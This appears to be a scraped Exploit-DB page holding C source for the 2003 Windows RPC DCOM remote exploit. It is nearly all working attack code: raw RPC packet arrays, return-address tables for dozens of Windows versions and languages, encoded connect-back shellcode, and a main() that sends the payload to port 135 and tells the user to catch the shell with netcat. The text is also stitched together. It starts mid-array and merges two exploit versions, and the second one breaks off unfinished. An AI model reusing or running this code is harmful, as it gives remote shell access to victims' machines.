,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
/* Myam add OFFSETS*/
char winntsp4eng[] = "\xe5\x27\xf3\x77"; /* English winNT sp4 */
char winntsp5cn[] = "\xcf\xda\xee\x77"; /* china winNT sp5 */
char winntsp6cn[] = "\xac\x0e\xf0\x77"; /* china winNT sp6 */
char winntsp6acn[] = "\xc3\xea\xf0\x77"; /* china NT sp6a */
char win2knosppl[] = "\x4d\x3f\xe3\x77"; /* polish win2k nosp ver 5.00.2195*/
char win2ksp3pl[] = "\x29\x2c\xe4\x77"; /* polish win2k sp3 - ver 5.00.2195 tested */
char win2ksp4sp[] = "\x13\x3b\xa5\x77"; /* spanish win2k sp4 */
char win2knospeng1[] = "\x74\x16\xe8\x77"; /* english win2k nosp 1 */
char win2knospeng2[] = "\x6d\x3f\xe3\x77"; /* english win2k nosp 2 */
char win2ksp1eng[] = "\xec\x29\xe8\x77"; /* english win2k sp1 */
char win2ksp2eng1[] = "\x2b\x49\xe2\x77"; /* english win2k sp2 1 */
char win2ksp2eng2[] = "\xb5\x24\xe8\x77"; /* english win2k sp2 2 */
char win2ksp3eng1[] = "\x7a\x36\xe8\x77"; /* english win2k sp3 1 */
char win2ksp3eng2[] = "\x5c\xfa\x2e\x77"; /* english win2k sp3 2 */
char win2ksp4eng[] = "\x9b\x2a\xf9\x77"; /* english win2k sp4 */
char win2knospchi[] = "\x2a\xe3\xe2\x77"; /* china win2k nosp */
char win2ksp1chi[] = "\x8b\x89\xe6\x77"; /* china win2k sp1 */
char win2ksp2chi[] = "\x2b\x49\xe0\x77"; /* china win2k sp2 */
char win2ksp3chi[] = "\x44\x43\x42\x41"; /* china win2k sp3 */
char win2ksp4chi[] = "\x29\x4c\xdf\x77"; /* china win2k sp4 */
char win2ksp3ger[] = "\x7a\x88\x2e\x77"; /* german win2k sp3 */
char win2knospjap[] = "\xe5\x27\xf3\x77"; /* Japanese win2k nosp */
char win2ksp1jap[] = "\x8b\x89\xe5\x77"; /* Japanese win2k sp1 */
char win2ksp2jap[] = "\x2b\x49\xdf\x77"; /* japanese win2k sp2 */
char win2knospkr[] = "\x2a\xe3\xe1\x77"; /* Korea win2k nosp */
char win2ksp1kr[] = "\x8b\x89\xe5\x77"; /* Korea win2k sp1 same offset as win2kjp_sp1 ??*/
char win2ksp2kr[] = "\x2b\x49\xdf\x77"; /* Korea win2k sp2 */
char win2knospmx[] = "\x2a\xe3\xe1\x77"; /* Mexican win2k nosp */
char win2ksp1mx[] = "\x8b\x89\xe8\x77"; /* Mexican win2k sp1 */
char win2knospken[] = "\x4d\x3f\xe3\x77"; /* Kenya win2k sp1 */
char win2ksp1ken[] = "\x8b\x89\xe8\x77"; /* Kenya win2k sp1 */
char win2ksp2ken[] = "\x2b\x49\xe2\x77"; /* Kenya win2k sp1 */
char winxpnospeng[] = "\xe3\xaf\xe9\x77"; /* english xp nosp ver 5.1.2600 */
char winxpsp1eng1[] = "\xba\x26\xe6\x77"; /* english xp sp1 1 */
char winxpsp1eng2[] = "\xdb\x37\xd7\x77"; /* english xp sp1 2 */
char winxpsp2eng[] = "\xbd\x73\x7d\x77"; /* english xp sp2 */
char win2k3nospeng[] = "\xb0\x54\x22\x77"; /* english win2k3 */
char Win2ksp3ger[] = "\x29\x2c\xe3\x77"; /* Germanh win2 sp3 */
char Win2ksp4ger1[] = "\x29\x4c\xe0\x77"; /* German win2 sp4 1 */
char Win2ksp4ger2[] = "\x56\xc2\xe2\x77"; /* German win2 sp4 2 */
char winxpsp1ger[] = "\xfc\x18\xd4\x77"; /* German xp sp1 */
char Win2ksp1fr[] = "\x4b\x3e\xe4\x77"; /* French win2k Server SP1 */
char Win2ksp4fr[] = "\x56\xc2\xe2\x77"; /* French win2k Server SP4 */
char winxpsp0fr[] = "\x4a\x75\xd4\x77"; /* French win xp no sp */
char winxpsp1fr[] = "\xfc\x18\xd4\x77"; /* French win xp sp 1 */
char win2ksp3big[] = "\x25\x2b\xaa\x77";
char win2ksp4big[] = "\x29\x4c\xdf\x77";
char winxpsp01big[] = "\xfb\x7b\xa1\x71";
/* Test this offset
( Japanese Windows 2000 Pro SP2 ) : 0x77DF492B
Windows 2000 (no-service-pack) English 0x77e33f6d
0x77f92a9b
0x77e2afc5
0x772254b0 win2k3
0x77E829E3 / 0x77E83587 kokanin win2k sp3
*/
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
"\x29\x4c\xdf\x77" //sp4
//"\x29\x2c\xe2\x77"//0x77e22c29
"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //??????????
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\x93\x40\xe2\xfa"
// code
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
int main(int argc,char ** argv)
{
int len, len1, sockfd;
short port=135;
struct hostent *he;
struct sockaddr_in their_addr;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short port1;
DWORD cb;
WSAStartup(MAKEWORD(2,0),&wsa);
printf("OC192 RPC DCOM Remote Exploit BSD/Linux Port, thanks LSD and XFORCE\n");
printf("RPC DCOM Remote Exploit modified by www.k-otiK.com ;>\n");
if(argc<5)
{
printf("[<$>] RPC Remote Windows Exploit\n");
printf("[<$>] Modified by www.k-otiK.com - New Exploits Database\n");
printf("[<$>] Thanks to b@digitalwaste.org + Jørgen_Haaø + woutiir \n");
printf("[<$>] Usage: %s <victim> <connectback ip> <cb port> <target>\n",argv[0]);
printf("[<$>] On connect back nc -lp cbport\n");
printf("[<$>] Targets: 0 WinNT English +sp4\n");
printf("[<$>] 1 WinNT China +sp5\n");
printf("[<$>] 2 WinNT China +sp6\n");
printf("[<$>] 3 WinNT China +sp6a\n");
printf("[<$>] 4 Win2k Polish nosp ver 5.00.2195\n");
printf("[<$>] 5 Win2k Polish +sp3 ver 5.00.2195\n");
printf("[<$>] 6 Win2k Spanish +sp4\n");
printf("[<$>] 7 Win2k English nosp 1\n");
printf("[<$>] 8 Win2k English nosp 2\n");
printf("[<$>] 9 Win2k English +sp1\n");
printf("[<$>] 10 Win2k English +sp2 1\n");
printf("[<$>] 11 Win2k English +sp2 2\n");
printf("[<$>] 12 Win2k English +sp3 1\n");
printf("[<$>] 13 Win2k English +sp3 2\n");
printf("[<$>] 14 Win2k English +sp4\n");
printf("[<$>] 15 Win2k China nosp\n");
printf("[<$>] 16 Win2k China +sp1\n");
printf("[<$>] 17 Win2k China +sp2\n");
printf("[<$>] 18 Win2k China +sp3\n");
printf("[<$>] 19 Win2k China +sp4\n");
printf("[<$>] 20 Win2k German +sp3\n");
printf("[<$>] 21 Win2k Japanese nosp\n");
printf("[<$>] 22 Win2k Japanese +sp1\n");
printf("[<$>] 23 Win2k Japanese +sp2\n");
printf("[<$>] 24 Win2k Korea nosp\n");
printf("[<$>] 25 Win2k Korea +sp1\n");
printf("[<$>] 26 Win2k Korea +sp2\n");
printf("[<$>] 27 Win2k Mexican nosp\n");
printf("[<$>] 28 Win2k Mexican +sp1\n");
printf("[<$>] 29 Win2k Kenya nosp\n");
printf("[<$>] 30 Win2k Kenya +sp1\n");
printf("[<$>] 31 Win2k Kenya +sp2\n");
printf("[<$>] 32 WinXP English nosp ver 5.1.2600\n");
printf("[<$>] 33 WinXP English +sp1 1\n");
printf("[<$>] 34 WinXP English +sp1 2\n");
printf("[<$>] 35 WinXP English +sp2\n");
printf("[<$>] 36 Win2k3 English nosp\n");
printf("[<$>] 37 Win2k german sp3\n");
printf("[<$>] 38 Win2k german sp4\n");
printf("[<$>] 39 Win2k german sp4 2\n");
printf("[<$>] 40 Winxp german sp1 2\n");
printf("[<$>] 41 Win2k french sp1\n");
printf("[<$>] 42 Win2k french sp4\n");
printf("[<$>] 43 Winxp french sp0\n");
printf("[<$>] 44 Winxp french sp1\n");
printf("[<$>] 45 Win2k big5 sp3\n");
printf("[<$>] 46 Win2k big5 sp4\n");
printf("[<$>] 47 Winxp big5 sp0\n");
exit(1);
}
if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
perror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(port);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct
sockaddr)) == -1) {
printf("Sorry, cannot connect to %s. Try again...\n", argv[1]);
exit(1);
}
if(atoi(argv[4])==0)
memcpy(sc+36,winntsp4eng,sizeof(winntsp4eng));
else if (atoi(argv[4])==1)
memcpy(sc+36,winntsp5cn,sizeof(winntsp5cn));
else if (atoi(argv[4])==2)
memcpy(sc+36,winntsp6cn,sizeof(winntsp6cn));
else if (atoi(argv[4])==3)
memcpy(sc+36,winntsp6acn,sizeof(winntsp6acn));
else if (atoi(argv[4])==4)
memcpy(sc+36,win2knosppl,sizeof(win2knosppl));
else if (atoi(argv[4])==5)
memcpy(sc+36,win2ksp3pl,sizeof(win2ksp3pl));
else if (atoi(argv[4])==6)
memcpy(sc+36,win2ksp4sp,sizeof(win2ksp4sp));
else if (atoi(argv[4])==7)
memcpy(sc+36,win2knospeng1,sizeof(win2knospeng1));
else if (atoi(argv[4])==8)
memcpy(sc+36,win2knospeng2,sizeof(win2knospeng2));
else if (atoi(argv[4])==9)
memcpy(sc+36,win2ksp1eng,sizeof(win2ksp1eng));
else if (atoi(argv[4])==10)
memcpy(sc+36,win2ksp2eng1,sizeof(win2ksp2eng1));
else if (atoi(argv[4])==11)
memcpy(sc+36,win2ksp2eng2,sizeof(win2ksp2eng2));
else if (atoi(argv[4])==12)
memcpy(sc+36,win2ksp3eng1,sizeof(win2ksp3eng1));
else if (atoi(argv[4])==13)
memcpy(sc+36,win2ksp3eng2,sizeof(win2ksp3eng2));
else if (atoi(argv[4])==14)
memcpy(sc+36,win2ksp4eng,sizeof(win2ksp4eng));
else if (atoi(argv[4])==15)
memcpy(sc+36,win2knospchi,sizeof(win2knospchi));
else if (atoi(argv[4])==16)
memcpy(sc+36,win2ksp1chi,sizeof(win2ksp1chi));
else if (atoi(argv[4])==17)
memcpy(sc+36,win2ksp2chi,sizeof(win2ksp2chi));
else if (atoi(argv[4])==18)
memcpy(sc+36,win2ksp3chi,sizeof(win2ksp3chi));
else if (atoi(argv[4])==19)
memcpy(sc+36,win2ksp4chi,sizeof(win2ksp4chi));
else if (atoi(argv[4])==20)
memcpy(sc+36,win2ksp3ger,sizeof(win2ksp3ger));
else if (atoi(argv[4])==21)
memcpy(sc+36,win2knospjap,sizeof(win2knospjap));
else if (atoi(argv[4])==22)
memcpy(sc+36,win2ksp1jap,sizeof(win2ksp1jap));
else if (atoi(argv[4])==23)
memcpy(sc+36,win2ksp2jap,sizeof(win2ksp2jap));
else if (atoi(argv[4])==24)
memcpy(sc+36,win2knospkr,sizeof(win2knospkr));
else if (atoi(argv[4])==25)
memcpy(sc+36,win2ksp1kr,sizeof(win2ksp1kr));
else if (atoi(argv[4])==26)
memcpy(sc+36,win2ksp2kr,sizeof(win2ksp2kr));
else if (atoi(argv[4])==27)
memcpy(sc+36,win2knospmx,sizeof(win2knospmx));
else if (atoi(argv[4])==28)
memcpy(sc+36,win2ksp1mx,sizeof(win2ksp1mx));
else if (atoi(argv[4])==29)
memcpy(sc+36,win2knospken,sizeof(win2knospken));
else if (atoi(argv[4])==30)
memcpy(sc+36,win2ksp1ken,sizeof(win2ksp1ken));
else if (atoi(argv[4])==31)
memcpy(sc+36,win2ksp2ken,sizeof(win2ksp2ken));
else if (atoi(argv[4])==32)
memcpy(sc+36,winxpnospeng,sizeof(winxpnospeng));
else if (atoi(argv[4])==33)
memcpy(sc+36,winxpsp1eng1,sizeof(winxpsp1eng1));
else if (atoi(argv[4])==34)
memcpy(sc+36,winxpsp1eng2,sizeof(winxpsp1eng2));
else if (atoi(argv[4])==35)
memcpy(sc+36,winxpsp2eng,sizeof(winxpsp2eng));
else if (atoi(argv[4])==36)
memcpy(sc+36,win2k3nospeng,sizeof(win2k3nospeng));
else if (atoi(argv[4])==37)
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp3ger));
else if (atoi(argv[4])==38)
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp4ger1));
else if (atoi(argv[4])==39)
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp4ger2));
else if (atoi(argv[4])==40)
memcpy(sc+36,win2k3nospeng,sizeof(winxpsp1ger));
else if (atoi(argv[4])==41)
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp1fr));
else if (atoi(argv[4])==42)
memcpy(sc+36,win2k3nospeng,sizeof(Win2ksp4fr));
else if (atoi(argv[4])==43)
memcpy(sc+36,win2k3nospeng,sizeof(winxpsp0fr));
else if (atoi(argv[4])==44)
memcpy(sc+36,win2k3nospeng,sizeof(winxpsp1fr));
else if (atoi(argv[4])==45)
memcpy(sc+36,win2k3nospeng,sizeof(win2ksp3big));
else if (atoi(argv[4])==46)
memcpy(sc+36,win2k3nospeng,sizeof(win2ksp4big));
else if (atoi(argv[4])==47)
memcpy(sc+36,win2k3nospeng,sizeof(winxpsp01big));
port1 = htons(atoi(argv[3]));
port1 ^= 0x9393;
cb=inet_addr(argv[2]);
cb ^= 0x93939393;
*(unsigned short *)&sc[330+0x30] = port1;
*(unsigned int *)&sc[335+0x30] = cb;
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
if(send(sockfd, bindstr, sizeof(bindstr), 0)== -1){
printf("Send failed pussy.\n");
exit(1);
}
len=recv(sockfd,buf1,1000,0);
if (send(sockfd,buf2,len1,0)==SOCKET_ERROR) {
printf("Send failed pussy\n");
exit (1);
}
len=recv(sockfd,buf1,1024,0);
return 0;
}
// milw0rm.com [2003-07-30]
Exploit Database EDB-ID : 76
Date de publication : 2003-08-06 22h00 +00:00
Auteur : oc192
EDB Vérifié : Yes
/* Windows remote RPC DCOM exploit
* Coded by oc192
*
* Includes 2 universal targets, 1 for win2k, and 1 for winXP. This exploit uses
* ExitThread in its shellcode to prevent the RPC service from crashing upon
* successful exploitation. It also has several other options including definable
* bindshell and attack ports.
*
* Features:
*
* -d destination host to attack.
*
* -p for port selection as exploit works on ports other than 135(139,445,539 etc)
*
* -r for using a custom return address.
*
* -t to select target type (Offset) , this includes universal offsets for -
* win2k and winXP (Regardless of service pack)
*
* -l to select bindshell port on remote machine (Default: 666)
*
* - Shellcode has been modified to call ExitThread, rather than ExitProcess, thus
* preventing crash of RPC service on remote machine.
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
/* xfocus start */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
